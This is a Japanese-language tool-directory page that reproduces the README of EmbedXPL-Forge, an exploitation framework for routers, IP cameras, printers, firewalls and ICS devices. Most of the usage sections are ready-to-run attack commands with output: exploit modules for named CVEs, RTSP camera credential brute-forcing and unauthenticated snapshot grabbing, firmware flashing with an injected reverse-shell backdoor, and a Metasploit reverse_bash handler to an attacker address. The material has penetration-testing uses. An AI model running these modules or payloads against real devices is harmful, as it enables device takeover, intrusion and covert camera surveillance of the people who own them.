Skip to content
KitploitKITPLOIT
ツールエクスプロイトブログ
Log in
提出
ツールエクスプロイトブログ
提出

ハッキング、侵入テスト、サイバーセキュリティツールをあなたのセキュリティアーセナルに!

Kitploitはハッキング、サイバーセキュリティ、ペネトレーションテストのツールディレクトリです。最新のプロジェクトアップデートを見つけて、脆弱性の発見、システム分析、テストの自動化、セキュリティの強化を行いましょう。

··フィード·お問い合わせ·プライバシー·© 2026 Kitploit

ツールディレクトリ

カテゴリ

すべてのカテゴリを見る
Loading categories
EmbedXPL-Forge — 組み込みデバイスセキュリティ評価フレームワーク — 700モジュール、350 CVE、55ベンダー、APTグループエンジン。ルーター、IPカメラ、GPON ONT、ISP CPE、IoT/組み込みエッジをカバー。 | Kitploit
ツール/GitHubGitHub/mrhenrike/embedxpl-forge
組み込みシステムセキュリティペネトレーションテストフレームワーク脆弱性スキャナーエクスプロイトフレームワークIoTセキュリティネットワークマッピングパスワード攻撃ペイロード生成エクスプロイトSCADA/ICSセキュリティハードウェアとIoTセキュリティファームウェア解析
4282220時間15分前Kitploit レビュー済み

人気

すべて見る →

コミュニティで最も使われているツールを見つけましょう。

すべてのツールを探索

ツールコレクションを閲覧

すべてのツールを見る →
共有
GitHubmrhenrike/embedxpl-forge

EmbedXPL-Forge

組み込みデバイスセキュリティ評価フレームワーク — 700モジュール、350 CVE、55ベンダー、APTグループエンジン。ルーター、IPカメラ、GPON ONT、ISP CPE、IoT/組み込みエッジをカバー。

リポジトリを見るウェブサイト

EmbedXPL-Forge

Python Platform License XPL Suite Issues Last Commit


プラットフォームに関する注意: このフレームワークは主に Linux (Debian/Ubuntu/Kali) 向けに設計・テストされています。ハードウェア依存のモジュール (無線アダプタ、USB デバイス、raw ソケットアクセス、ファームウェアツール) のほとんどは Linux を必要とします。Windows や macOS で実行すると、多くのモジュールでエラーが発生したり機能が制限されたりする可能性があります。最大限の互換性を得るには Linux を強く推奨します。


EmbedXPL-Forge

組み込み・境界セキュリティ評価フレームワーク

EmbedXPL-Forge は、ルーター、スイッチ、IP カメラ、NVR/DVR、GPON ONT、ISP CPE、プリンター、IoT、OT/ICS、および組み込みエッジデバイスを監査するセキュリティ専門家向けの、オープンソースのエクスプロイトおよびスキャンフレームワークです。認証情報テスト、脆弱性エクスプロイト、ネットワークスキャン、ペイロード生成、RTSP カメラ攻撃、ファームウェア操作、多言語 PolyExploit オーケストレーション、および完全なプリンターアーセナルをカバーする 2800 以上のアクティブモジュールを提供し、114 以上のベンダーにわたる 700 以上の CVE をマッピングし、実際の国家レベルの攻撃チェーンを再現する APT Group Attack Engine を備えています。

バージョン: 3.2.0

機能

  • 625 以上のエクスプロイトモジュール — RCE、認証バイパス、パストラバーサル、情報漏洩、バッファオーバーフロー、DNS ハイジャック、コマンドインジェクション、バックドア、CSRF、設定復号、WPA/WPS キージェン、工場出荷パスワードジェネレーター、ヒープ/スタック BOF チェーン
  • 88 の認証情報モジュール — FTP、SSH、Telnet、HTTP、SNMP、SFTP に対する辞書攻撃
  • 185 以上のプリンターエクスプロイトモジュール — HP、Canon、Lexmark、Xerox、Ricoh、Brother、Epson、Kyocera、Samsung、PJL/IPP/LPD/WSD/CUPS、Pwn2Own 2026 チェーン、PrintingShellz、MS-RPRN NTLM 強制
  • 完全な RTSP カメラエンジン — ルートブルートフォース (195 以上のルート)、認証情報ブルートフォース (80 以上のペア)、Basic/Digest 認証、RTSPS/TLS、RTSP-over-HTTP トンネル (純粋な Python、RFC 2326 App-C)、nmap/masscan/直接スキャナー、ONVIF WS-Discovery、M3U 出力
  • 7 つのカスタム Nmap NSE スクリプト — RTSP ディスカバリ、カメラフィンガープリンティング、Hikvision/Dahua CVE 検証、デフォルト認証情報テスト、マルチベンダー CVE チェック、スナップショットキャプチャ (pip install embedxpl[nse])
  • ファームウェアエクスプロイトスイート — フォーマット検出、バックドアインジェクション、チェックサムパッチ、ベンダーフラッシュバイパス (NETGEAR、TP-Link、D-Link、ASUS)
  • PolyExploit オーケストレーター — ランタイム C/C++ コンパイル (gcc/clang/mingw/cross)、Ruby/Node.js/PHP/Bash/Perl エクスプロイトの実行、msfconsole 統合、ExploitDB/searchsploit 統合
  • ICS/OT モジュール — Universal Robots PolyScope 5、RIOT OS、Modbus、S7comm、EtherNet/IP、BACnet、DNP3
  • スマートホーム / 海事 / 特殊 — eNet SMART HOME、OpenRemote、Metis 海事 IoT (WIC/DFS)
  • 5 以上のスキャナーモジュール — AutoPwn、デバイス固有スキャナー、WSD/mDNS プリンターディスカバリ
  • 32 のペイロードモジュール — x86、x64、ARM、MIPS、Python、Perl、PHP 用のリバース/バインド TCP シェル
  • 13 のエンコーダーモジュール — Python、PHP、Perl 用の Base64 および hex エンコーディング
  • 14 の汎用モジュール — Heartbleed、ShellShock、UPnP IGD、SNMP ブルートフォース、TCP Xmas、UDP 増幅、CVE ルックアップ、DNS ハイジャック検出器、AITM インターセプター
  • 700 以上の CVE をマッピング — 2001 年から 2026 年まで、2026 Pwn2Own チェーンや重要な IoT/OT/海事 CVE を含む
  • APT Group Attack Engine — APT28、Volt Typhoon、Sandworm、Quad7、Turla、APT40 の攻撃チェーンを閲覧・再現、MITRE ATT&CK マッピング付き
  • 23 以上のベンダー固有ワードリスト — ベンダーごとの外部化されたデフォルト認証情報 (ブラジル固有の ISP を含む)
  • ネットワークディスカバリ — SSDP、ARP、Nmap、Masscan、Scapy フォールバック、OUI ルックアップ (IEEE 39k+ エントリ)、T0~T5 タイミングプロファイル
  • セッション管理 — ホストごとの永続的なスキャン履歴 (IP+MAC)、再開/再起動、完全な検出事項インデックス
  • 連鎖 autopwn モジュール — 多段階のベンダー固有エクスプロイトチェーン (Huawei EG8145X6、CUPS Pwn2Own、Lexmark Pwn2Own など)
  • 7 つの自動品質ゲート — tools/phase_gate.py により、すべてのモジュールがマージ前にインポート、アンチ FP、リファレンス、コード品質チェックを通過することを保証

サポートされるデバイスタイプ

サポートされるベンダー

ネットワーク / ルーター / CPE: 2Wire · 3Com · ActionTec · Alcatel-Lucent · Alpha Networks · Arris · Aruba · Asmax · Astoria · ASUS · Belkin · BHU · Billion · Binatone · Calix · CERIO · Cisco · Cobham · Comtrend · D-Link · DD-WRT · Draytek · EasyBox (Arcadyan) · Edimax · EE BrightBox · EnGenius · FiberHome · Fortinet · Freebox · GL.iNet · GPON · HooToo · Huawei · Intelbras · IPFire · Juniper · LG · Linksys · Mercury · MiFi (Novatel) · MikroTik · MitraStar · Motorola · Movistar · Netcore · NETGEAR · Netsys · Observa Telecom · OpenWrt · RuggedCom · Ruijie · Seagate · SerComm · Shuttle · Sitecom · SMC · SonicWall · Starbridge · Technicolor · Tenda · Thomson · TOTOLINK · TP-Link · TRENDnet · Ubee · Ubiquiti · Unicorn · UTStarcom · Wavlink · Xiaomi · Zhone · Zoom · ZTE · ZyXEL

カメラ / NVR / DVR: Hikvision · Dahua · Axis · Reolink · Amcrest · Uniview (UNV) · Tapo (TP-Link) · Swann · ANNKE · Edimax · Intelbras · Grandstream · Foscam · Acti · Avigilon · Beward · Brickcom · Cisco cameras · Geuterbruck · Honeywell cameras · Jovision · Siemens cameras · Xiongmai (OEM) · Zivif · MVPower DVR · 汎用 P2P WiFi カメラ · 汎用 DVR/NVR OEM

プリンター / MFP: HP LaserJet/PageWide · Canon imageRUNNER/imageClass · Lexmark CX/CS/MS/MX · Xerox WorkCentre/AltaLink/VersaLink · Ricoh MP/Aficio/SP · Brother MFC/DCP · Epson WorkForce · Kyocera ECOSYS · Samsung SyncThru · 汎用 IPP/PJL/LPD/CUPS/WSD

NAS / VPN / ファイアウォール / セキュリティ: QNAP · Synology · D-Link NAS · Zyxel NAS · Ivanti · SonicWall · Fortinet (FortiOS/FortiGate/FortiWeb/FortiClient EMS) · Palo Alto (PAN-OS) · Cisco ASA/FTD · CheckPoint · Sophos XG · WatchGuard Firebox · Avocent

ICS / OT / ロボティクス: Universal Robots (UR3/UR5/UR10/UR16) · OpenPLC · Modbus TCP · Siemens S7 · EtherNet/IP CIP · BACnet · DNP3 · PROFINET DCP

スマートホーム / 海事 / 組み込み OS: eNet SMART HOME · OpenRemote IoT · Metis WIC/DFS (海事) · RIOT OS · OpenWrt · VxWorks · QNX · Zephyr · wolfSSL · Tuya arduino-tuyaopen

インストール

オプション 1 — PyPI (推奨)```bash

pip install embedxpl embedxpl

root@kitploit:~
### オプション 2 — Nmap NSE スクリプトを使用する```bash
# Install EmbedXPL + NSE dependencies
pip install "embedxpl[nse]"

# Install the 7 custom NSE scripts into Nmap's scripts directory
python -m embedxpl.nse install
# or using the entry point:
embedxpl-nse install

# Verify installation
python -m embedxpl.nse list

注: Linux/macOS では、インストール手順で /usr/share/nmap/scripts/ に書き込むために sudo が必要になる場合があります。 実行: sudo python -m embedxpl.nse install

オプション 3 — ソースから```bash

git clone https://github.com/mrhenrike/EmbedXPL-Forge.git cd EmbedXPL-Forge chmod +x setup_venv.sh run.sh ./setup_venv.sh # creates .venv (PEP 668 safe) ./run.sh # recommended launcher

or: python exf.py # auto-detects .venv

Optional: also install NSE scripts

.venv/bin/python -m embedxpl.nse install

root@kitploit:~
### オプション4 — Pythonモジュール```bash
pip install embedxpl
python -m embedxpl

クイックスタート```bash

Install

pip install embedxpl

Launch interactive shell

embedxpl

Run a specific module directly

embedxpl -m exploits/routers/tplink/wr841n_credential_disclosure_cve_2023_50224 -s target 192.168.1.1

Network discovery

embedxpl -c "discover 192.168.1.0/24"

RTSP camera scan + brute-force

embedxpl -m exploits/cameras/multi/rtsp_cameradar_attack -s target 192.168.1.100

Nmap NSE quick scan (after pip install embedxpl[nse] + embedxpl-nse install)

nmap -p 554,5554,8554 --script embedxpl-rtsp-discover 192.168.1.0/24 nmap -p 80,443 --script 'embedxpl-*' 192.168.1.100

root@kitploit:~
## 使用方法

### インタラクティブシェル```
exf > use exploits/routers/dlink/dir_300_600_rce
exf (D-Link DIR-300 & DIR-600 RCE) > show options
exf (D-Link DIR-300 & DIR-600 RCE) > set target 192.168.1.1
exf (D-Link DIR-300 & DIR-600 RCE) > check
exf (D-Link DIR-300 & DIR-600 RCE) > run

共通コマンド

APT グループ攻撃エンジン```

List all cataloged threat actors

exf > apt list

Show APT28 attack chain details

exf > apt show apt28

Search for groups targeting MikroTik

exf > apt search mikrotik

Execute the full APT28 DNS hijack chain (interactive)

exf > apt run apt28

Execute only the credential disclosure attack (#0)

exf > apt run apt28 0

root@kitploit:~
### ネットワーク探索```
# Auto-detect subnet from active interfaces and scan (default timing T3)
exf > discover

# Scan specific subnet with stealth timing
exf > discover 192.168.1.0/24 --timing T1

# Force fresh scan, ignore previous session history
exf > discover 192.168.1.0/24 --fresh

ディスカバリは多段階パイプラインを使用します: ARPスイープ → Nmap(マルチメソッドホストプローブ) → Scapy → TCPコネクトフォールバック。結果はモジュールカタログと照合され、ベンダー/モデルでフィルタリングされます。IEEE OUIデータベース(embedxpl/data/oui.txt)は、オンラインファーストのルックアップとローカルフォールバックによりMACアドレスをベンダーに解決します。ホストがWiFi機能を公開している場合、ツールは無線固有の攻撃のためにWirelessXPL-Forgeを推奨します。

タイミングプロファイル(T0~T5) はNmapの慣例を踏襲しています:

セッション管理```

List all hosts with scan history

exf > sessions list

Full history for one host: tested modules, findings, timestamps

exf > sessions show 192.168.1.1

Export session as JSON

exf > sessions export 192.168.1.1

Delete one session

exf > sessions delete 192.168.1.1

Purge all sessions

exf > sessions purge

root@kitploit:~
セッションは `~/.exf_sessions/` に JSON として保存され、IP+MAC の SHA-256 をキーとします。既知のホストが再検出されると、テスト済みのモジュールは `[Tested]` と表示され、デフォルトでスキップされます。

### AutoPwn Scanner```
exf > use scanners/autopwn
exf (AutoPwn) > set target 192.168.1.0/24
exf (AutoPwn) > run

RTSPカメラエンジン

Pythonネイティブ実装による全機能搭載のRTSP攻撃パイプラインで、すべての標準RTSPトランスポートモードをカバーします。

トランスポートモード

攻撃パイプライン```python

from embedxpl.core.rtsp.scanner import RTSPScanner from embedxpl.core.rtsp.attacker import RTSPAttacker from embedxpl.core.rtsp.models import RTSPStream

1. Discover RTSP-speaking hosts on the network

scanner = RTSPScanner(timeout=5.0) hosts = scanner.scan_network("192.168.1.0/24", ports=[554, 5554, 8554])

Returns: [('192.168.1.100', 554), ('192.168.1.101', 8554), ...]

2. Run full 5-phase attack pipeline

attacker = RTSPAttacker(timeout=5.0) results = attacker.attack_all(hosts)

3. Inspect results

for stream in results: print(stream.url) # rtsp://admin:@192.168.1.100:554/h264/ch1/main/av_stream print(stream.username) # admin print(stream.password) # (empty string) print(stream.route) # h264/ch1/main/av_stream print(stream.auth_type) # AuthType.BASIC print(stream.accessible) # True

root@kitploit:~
**期待される出力:**```
[RTSP] Scanning 192.168.1.0/24 on ports [554, 5554, 8554]...
[RTSP] Found 3 RTSP hosts
[RTSP] 192.168.1.100:554 — Phase 1: Route discovery (195 routes)...
[RTSP] 192.168.1.100:554 — Route found: h264/ch1/main/av_stream
[RTSP] 192.168.1.100:554 — Phase 2: Auth detection → Basic (realm="IP Camera")
[RTSP] 192.168.1.100:554 — Phase 3: Credential brute-force (80 pairs)...
[RTSP] 192.168.1.100:554 — ✓ Credentials: admin:
[RTSP] 192.168.1.100:554 — Phase 4: Stream validated (200 OK)
[RTSP] Attack complete. Accessible streams: 2/3

スキップスキャンモード(既知のホスト)```python

Skip network scan, attack known hosts directly

hosts = scanner.skip_scan(["192.168.1.100:554", "192.168.1.101"])

Accepts: "host:port", "host", CIDR "192.168.1-2.0-255", hostnames

root@kitploit:~
**想定される入力/出力:**```python
# Input
hosts = scanner.skip_scan(["camera.local:554", "192.168.1-2.100-110"])

# Output: [(resolved_ip, port), ...]
# [('192.168.1.100', 554), ('192.168.1.200', 554), ('192.168.1.100', 554), ...]

RTSP-over-HTTP トンネル

カメラが TCP/554 をブロックする HTTP プロキシや企業ファイアウォールの背後にある場合に使用されます。```python from embedxpl.core.rtsp.client import RTSPClient, RTSPOverHTTPTunnel

Direct tunnel usage

tunnel = RTSPOverHTTPTunnel(host="10.0.0.50", port=8080, timeout=10.0) response = tunnel.send_rtsp_via_http( "OPTIONS rtsp://10.0.0.50:8080/ RTSP/1.0\r\nCSeq: 1\r\n\r\n" )

Returns: raw RTSP response bytes (base64-decoded from HTTP body)

Or via RTSPClient factory

client = RTSPClient.from_scheme("10.0.0.50", 8080, "http", timeout=10.0) status, server, methods = client.options() # → (200, "Hikvision NVRA", "OPTIONS, DESCRIBE, SETUP, PLAY")

root@kitploit:~
**想定される入力/出力:**```
Input : host=10.0.0.50, port=8080, scheme="http"
Output:
  status  = 200
  server  = "Hikvision IP Camera NVRA (V5.4.5)"
  methods = "OPTIONS, DESCRIBE, SETUP, PLAY, TEARDOWN"

RTSPモジュール(インタラクティブ)```

embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack embedxpl (RTSP Cameradar Attack) > show options

Option Default Description


target required Target IP/CIDR/range (e.g. 192.168.1.0/24) ports 554,5554,8554 RTSP ports to scan timeout 5 Connection timeout (seconds) scheme rtsp Transport: rtsp | rtsps | http | https skip_scan false Skip nmap discovery, attack directly output_m3u false Save accessible streams to streams.m3u onvif_discover false Enable ONVIF WS-Discovery

embedxpl (RTSP Cameradar Attack) > set target 192.168.1.0/24 embedxpl (RTSP Cameradar Attack) > set output_m3u true embedxpl (RTSP Cameradar Attack) > run

root@kitploit:~
## Nmap NSE スクリプト

EmbedXPL-Forge には、IoT/カメラスキャンと CVE 検出用の 7 つのカスタム Nmap NSE スクリプトが含まれています。

### インストール```bash
# Install with NSE extras
pip install "embedxpl[nse]"

# Install scripts to Nmap (Linux/macOS may need sudo)
python -m embedxpl.nse install
# or
embedxpl-nse install

# Force overwrite existing scripts
python -m embedxpl.nse install --force

# Custom Nmap directory
python -m embedxpl.nse install --nse-dir /opt/homebrew/share/nmap/scripts

期待される出力:``` [OK] embedxpl-rtsp-discover.nse → /usr/share/nmap/scripts/embedxpl-rtsp-discover.nse [OK] embedxpl-camera-identify.nse → /usr/share/nmap/scripts/embedxpl-camera-identify.nse [OK] embedxpl-hikvision-vuln.nse → /usr/share/nmap/scripts/embedxpl-hikvision-vuln.nse [OK] embedxpl-dahua-vuln.nse → /usr/share/nmap/scripts/embedxpl-dahua-vuln.nse [OK] embedxpl-rtsp-creds.nse → /usr/share/nmap/scripts/embedxpl-rtsp-creds.nse [OK] embedxpl-iot-cve-check.nse → /usr/share/nmap/scripts/embedxpl-iot-cve-check.nse [OK] embedxpl-camera-snapshot.nse → /usr/share/nmap/scripts/embedxpl-camera-snapshot.nse

Installed: 7 script(s) [OK] nmap --script-updatedb complete

root@kitploit:~
### 一覧 / 情報```bash
python -m embedxpl.nse list
python -m embedxpl.nse info rtsp-discover

NSE スクリプトリファレンス

embedxpl-rtsp-discover — RTSP サービスディスカバリ

RTSP サービスを検出し、Server: バナーを取得し、ベンダーを特定し、サポートされているメソッドを一覧表示し、既知の CVE を相互参照します。```bash

Basic usage

nmap -p 554,5554,8554 --script embedxpl-rtsp-discover 192.168.1.0/24

With custom timeout

nmap -p 554,5554,8554 --script embedxpl-rtsp-discover --script-args rtsp.timeout=3 192.168.1.0/24

root@kitploit:~
**期待される出力:**```
554/tcp open rtsp
| embedxpl-rtsp-discover:
|   Status : 200
|   Server : Hikvision IP Camera NVRA (V5.4.5)
|   Methods: OPTIONS, DESCRIBE, SETUP, PLAY, TEARDOWN
|   Vendor : Hikvision
|   Known CVEs: CVE-2021-36260 (RCE, CVSS 9.8), CVE-2017-7921 (Auth Bypass)
|   EmbedXPL module: exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|   Exploit hint: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|_  Full attack: embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack

embedxpl-camera-identify — ディープカメラフィンガープリンティング

マルチプロトコル識別: HTTP/HTTPS Web UI、RTSPバナー、ONVIFをプローブします。ベンダー、モデル、ファームウェア、シリアル、MACを抽出します。```bash nmap -p 80,443,554,37777 --script embedxpl-camera-identify 192.168.1.100 nmap -sV -p- --script embedxpl-camera-identify 192.168.1.0/24

root@kitploit:~
**期待される出力(Hikvision):**```
80/tcp open http
| embedxpl-camera-identify:
|   Protocol : HTTP (HTTP 200)
|   Vendor   : Hikvision
|   Model    : DS-2CD2143G0-I
|   Firmware : V5.6.2 build 190401
|   Serial   : DS-2CD2143G0-I20190401AAWRA123456789
|   CVEs     : CVE-2021-36260 (RCE, CVSS 9.8) | CVE-2017-7921 (Auth Bypass)
|   Vuln assessment: LIKELY VULNERABLE (endpoint accessible without auth)
|   EmbedXPL module: exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|_  Run exploit: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260

embedxpl-hikvision-vuln — Hikvision CVEチェッカー

CVE-2021-36260(/SDK/webLanguage 経由のRCE、CVSS 9.8)および CVE-2017-7921(認証バイパスによるスナップショット)のアクティブ検証。```bash nmap -p 80,443,8080 --script embedxpl-hikvision-vuln 192.168.1.100 nmap -p 80,443,8080 --script embedxpl-hikvision-vuln --script-args timeout=10 192.168.1.0/24

root@kitploit:~
**期待される出力:**```
80/tcp open http
| embedxpl-hikvision-vuln:
|   Device          : DS-2CD2143G0-I
|   Firmware        : V5.3.0 build 170112
|   CVE-2021-36260  : VULNERABLE — endpoint accepts PUT without authentication (CVE-2021-36260, CVSS 9.8)
|   CVE-2017-7921   : VULNERABLE — snapshot captured without valid credentials (CVE-2017-7921)
|   EmbedXPL RCE module  : exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|   EmbedXPL Auth Bypass : exploits/cameras/hikvision/info_disclosure_cve_2017_7921
|_  Run full exploit: embedxpl > use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260

embedxpl-dahua-vuln — Dahua CVEチェッカー

CVE-2021-33044(認証バイパス、CVSS 9.8)、CVE-2020-25078(ユーザー情報漏洩)、CVE-2013-6117(レガシーDVR)をテストします。また、DahuaのOEMであるAmcrest、Intelbras、TVT、Jovision、ANNKEもカバーしています。```bash nmap -p 80,37777 --script embedxpl-dahua-vuln 192.168.1.0/24

root@kitploit:~
**期待される出力:**```
80/tcp open http
| embedxpl-dahua-vuln:
|   Vendor         : Dahua (or Dahua-OEM: Amcrest / Intelbras / TVT)
|   CVE-2021-33044 : VULNERABLE — snapshot captured via Digest bypass (CVE-2021-33044, CVSS 9.8)
|   CVE-2020-25078 : VULNERABLE — Users disclosed: [admin, operator]
|   CVE-2013-6117  : NOT VULNERABLE
|   EmbedXPL Auth Bypass  : exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044
|   EmbedXPL Cred Extract : exploits/cameras/dahua/cctv_37777_credential_extraction
|_  Run exploit: embedxpl > use exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044

embedxpl-rtsp-creds — RTSP デフォルト認証情報テスター

Basic 認証を使用して、9 以上の一般的な RTSP ルートにわたる 18 組のデフォルト認証情報をテストします。最初に一致したものを報告します。```bash nmap -p 554,5554,8554 --script embedxpl-rtsp-creds 192.168.1.100

With custom route hint

nmap -p 554 --script embedxpl-rtsp-creds --script-args rtsp.route=live.sdp 192.168.1.100

root@kitploit:~
**期待される出力:**```
554/tcp open rtsp
| embedxpl-rtsp-creds:
|   Server           : Hikvision IP Camera NVRA
|   Credential found : admin: (empty password)
|   Stream URL       : rtsp://admin:@192.168.1.100:554/h264/ch1/main/av_stream
|   Auth type        : Basic
|   Response code    : 200
|   EmbedXPL full scan : exploits/cameras/multi/rtsp_cameradar_attack
|_  Run exploit: embedxpl > use exploits/cameras/multi/rtsp_cameradar_attack

embedxpl-iot-cve-check — マルチベンダーCVEフィンガープリント

Hikvision、Dahua、D-Link NAS、Reolink、Uniview、QNAP、SonicWall、GPONにまたがる10件のアクティブなCVEを検出および検証します。```bash nmap -p 80,443,8080 --script embedxpl-iot-cve-check 192.168.1.0/24

root@kitploit:~
**期待される出力:**```
80/tcp open http
| embedxpl-iot-cve-check:
|   CVE-2021-36260 (Hikvision, CVSS 9.8): POSSIBLY VULNERABLE — HTTP 200 returned
|     → EmbedXPL: CVE-2021-36260 : use exploits/cameras/hikvision/rtsp_rce_cve_2021_36260
|   CVE-2021-33044 (Dahua, CVSS 9.8)   : NOT VULNERABLE — HTTP 404
|   EmbedXPL-Forge: https://github.com/mrhenrike/EmbedXPL-Forge
|_  Full exploitation: pip install embedxpl && embedxpl

embedxpl-camera-snapshot — 認証不要のスナップショットアクセス

16 のベンダー固有スナップショットエンドポイントをプローブします。認証情報なしで image/* を返す URL を報告します。オプションで JPEG ファイルをローカルに保存します。```bash nmap -p 80,443,8080 --script embedxpl-camera-snapshot 192.168.1.100

Save snapshots to disk

nmap -p 80 --script embedxpl-camera-snapshot --script-args outdir=/tmp/snaps 192.168.1.0/24

root@kitploit:~
**期待される出力:**```
80/tcp open http
| embedxpl-camera-snapshot:
|   Endpoint 1 (Dahua):
|     URL          : http://192.168.1.100:80/cgi-bin/snapshot.cgi?channel=1
|     Content-Type : image/jpeg
|     Size         : 45231 bytes
|     Access       : UNAUTHENTICATED SNAPSHOT ACCESS
|     EmbedXPL module: exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044
|_    Run exploit: embedxpl > use exploits/cameras/dahua/cctv_auth_bypass_cve_2021_33044

Python経由ですべてのNSEスクリプトを実行する```bash

Run all scripts via embedxpl-nse CLI

python -m embedxpl.nse run --target 192.168.1.0/24 --scripts all

Run specific scripts

python -m embedxpl.nse run --target 192.168.1.100 --scripts rtsp-discover,hikvision-vuln

With output file

python -m embedxpl.nse run --target 192.168.1.0/24 --scripts all --output /tmp/scan.txt

Custom ports

python -m embedxpl.nse run --target 192.168.1.0/24 --scripts all --ports 80,443,554,5554,8080,8554

root@kitploit:~
**アンインストール:**```bash
python -m embedxpl.nse uninstall

ファームウェアエクスプロイト```

embedxpl > use exploits/firmware/netgear_firmware_flash embedxpl (NETGEAR Firmware Flash) > set target 192.168.1.1 embedxpl (NETGEAR Firmware Flash) > set firmware /path/to/backdoored.bin embedxpl (NETGEAR Firmware Flash) > set lhost 10.0.0.10 embedxpl (NETGEAR Firmware Flash) > set lport 4444 embedxpl (NETGEAR Firmware Flash) > run

root@kitploit:~
**機能:**
1. ファームウェア形式(TRX、DLOB、SEAMA、WRGG、raw binary)を検出
2. 適切なオフセットにリバースシェルバックドアを注入
3. CRC32/MD5チェックサムを再計算
4. ベンダー固有のフラッシュエンドポイント経由でアップロード(該当する場合は認証をバイパス)
5. デバイスの再起動を待機し、バックドアの実行を検証


## PolyExploit Orchestrator

純粋なPythonに移植できないエクスプロイト向けに、実行時のC/C++コンパイルとマルチ言語スクリプト実行を可能にします。

### C/C++ランタイムコンパイル```python
from embedxpl.core.poly import CCompiler

compiler = CCompiler()

# Check available compilers
print(compiler.compiler_available())  # {'gcc': True, 'clang': False, 'mingw': False}

# Compile a C PoC exploit at runtime
binary = compiler.compile_c(
    source="""
#include <stdio.h>
#include <string.h>
int main(int argc, char *argv[]) {
    // Stack overflow PoC
    char buf[64];
    memcpy(buf, argv[1], atoi(argv[2]));
    return 0;
}
""",
    arch="x86",   # x86, x64, arm, mips, mingw
)
# Returns: Path to compiled binary (cached by source hash)

# Execute with arguments
output = compiler.run_binary(binary, args=["AAAA"*100, "400"])
print(output.stdout)

多言語スクリプト実行```python

from embedxpl.core.poly import PolyRunner

runner = PolyRunner() print(runner.available_runtimes())

{'ruby': True, 'node': True, 'php': True, 'bash': True, 'perl': True}

Execute a Ruby exploit

result = runner.run_ruby(""" require 'net/http' resp = Net::HTTP.get_response(URI('http://192.168.1.1/cgi-bin/exploit')) puts resp.body """, args=["192.168.1.1"])

Metasploit integration

runner.run_metasploit(module="exploit/multi/handler", options={ "PAYLOAD": "cmd/unix/reverse_bash", "LHOST": "10.0.0.10", "LPORT": "4444", })

ExploitDB / searchsploit lookup

results = runner.searchsploit("hikvision rtsp") for r in results: print(r["Title"], r["Path"])

root@kitploit:~
## v3.1.0 の新機能 — CVE 2026/2025/2024 + プリンタドメイン + 品質ゲート

プリンタ、組み込み OS、ICS/OT、スマートホーム、海事 IoT、および 2026 Pwn2Own チェーンにわたる **54 の新規モジュール**。主なハイライト:

### 2026 Pwn2Own チェーン```
# CUPS Pwn2Own 2026 — Full 4-stage chain (CVE-2026-34477/78/79/80, CVSS 9.9)
exf > use exploits/printers/linux/cups_pwn2own_chain_cve_2026_34480
exf (CUPS Pwn2Own Chain) > set target 192.168.1.10
exf (CUPS Pwn2Own Chain) > set delay 2
exf (CUPS Pwn2Own Chain) > run
[*] [Stage 1/4] Triggering UAF in cups-browsed (CVE-2026-34477)
[*] [Stage 2/4] Heap spray via IPP job attributes (CVE-2026-34478)
[*] [Stage 3/4] ROP chain LPE delivery (CVE-2026-34479)
[*] [Stage 4/4] Chain complete - verifying
[+] CUPS process no longer responding - chain executed

# Lexmark Pwn2Own 2026 — 3-stage chain
exf > use exploits/printers/lexmark/lexmark_pwn2own_2026_chain
exf (Lexmark Pwn2Own) > set target 192.168.1.20
exf (Lexmark Pwn2Own) > run

重要な2026年のCVE```

wolfSSL identity forgery (CVE-2026-5194, CVSS 9.3, ~5B devices)

exf > use exploits/embedded_os/wolfssl_identity_forgery_cve_2026_5194 exf (wolfSSL Identity Forgery) > set target 192.168.1.1 exf (wolfSSL Identity Forgery) > set port 443 exf (wolfSSL Identity Forgery) > run

PAN-OS User-ID BOF (CVE-2026-0300, CVSS 9.8, active exploitation)

exf > use exploits/firewalls/paloalto/panos_userid_bof_rce_cve_2026_0300 exf (PAN-OS User-ID BOF) > set target 10.0.0.1 exf (PAN-OS User-ID BOF) > set port 443 exf (PAN-OS User-ID BOF) > run

Universal Robots PolyScope 5 (CVE-2026-8153, CVSS 9.8, unauth OS cmd injection)

exf > use exploits/ics/ur_polyscope5_dashboard_cmd_injection_cve_2026_8153 exf (UR PolyScope5 Injection) > set target 192.168.1.50 exf (UR PolyScope5 Injection) > set cmd "id" exf (UR PolyScope5 Injection) > run [] Connecting to PolyScope Dashboard on 192.168.1.50:29999 [+] PolyScope Dashboard Server detected [] Attempting OS command injection (CVE-2026-8153) [+] Command injection confirmed! [+] Output: uid=0(root) gid=0(root)

GNU InetUtils telnetd auth bypass (CVE-2026-24061, CVSS 9.8, unauth root)

exf > use exploits/embedded_os/gnu_inetutils_telnetd_auth_bypass_cve_2026_24061 exf (InetUtils telnetd Bypass) > set target 192.168.1.1 exf (InetUtils telnetd Bypass) > set cmd "id" exf (InetUtils telnetd Bypass) > run [*] Sending CVE-2026-24061 bypass payload [+] Authentication bypass succeeded! Shell prompt detected [+] Command output: uid=0(root)

Metis maritime IoT (CVE-2026-2248, CVSS 9.8, unauth root shell)

exf > use exploits/specialized/metis_wic_unauth_rce_cve_2026_2248 exf (Metis WIC RCE) > set target 10.1.2.3 exf (Metis WIC RCE) > run

Cisco IOS XE WLC hardcoded JWT (CVE-2025-20188, CVSS 10.0)

exf > use exploits/routers/cisco/ios_xe_wlc_jwt_rce_cve_2025_20188 exf (Cisco WLC JWT RCE) > set target 10.0.0.1 exf (Cisco WLC JWT RCE) > set port 443 exf (Cisco WLC JWT RCE) > run

root@kitploit:~
### Printer Arsenal の例```
# HP PJL full scan (native — no external tools)
exf > use exploits/printers/hp/hp_laserjet_pjl_scan_native
exf (HP PJL Scanner) > set target 192.168.1.100
exf (HP PJL Scanner) > run
[+] PJL interface reachable
[+] INFO ID: HP LASERJET PRO M402N
INFO STATUS     : READY
INFO PAGECOUNT  : 12847
INFO MEMORY     : 512000 BYTES

# Ricoh HTTP buffer overflow (CVE-2024-34161, CVSS 9.8)
exf > use exploits/printers/ricoh/ricoh_http_bof_cve_2024_34161
